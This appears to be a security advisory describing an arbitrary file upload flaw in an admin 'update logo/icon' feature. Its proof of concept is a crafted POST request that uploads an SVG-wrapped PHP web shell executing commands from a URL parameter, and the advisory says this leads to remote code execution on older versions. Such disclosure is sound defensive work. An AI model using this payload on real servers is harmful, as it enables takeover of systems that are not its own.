Description

Due to lack of file extension validation, privileged user (administrator) can upload arbitrary files with "update logo" and "update icon" features. The application uses the extension provided in the filename parameter.

Proof of Concept

POST /admin/default/jqadm/save/settings?locale=en HTTP/1.1
...
------WebKitFormBoundaryAG74QWXOFzNc5cbH
Content-Disposition: form-data; name="media[logo]"; filename="test.php"
Content-Type: image/svg+xml

<svg>
  /* <![CDATA[ */
    <?php system($_GET['c']);
?>
 /* ]]> */
</svg>
...

A request crafted this way will lead to "logo.php" file being created.

Impact

This leads to Remote Code Execution in versions using vulnerable "enshrined/svg-sanitize" library for sanitization (deployments that didn't upgrade since 2022.10.13). In newer versions there isn't any significant impact. But the arbitrary file upload part is still there in versions prior to 2023.07.3 that could be used as part of more complex exploit chain if additional vulnerabilities are discovered.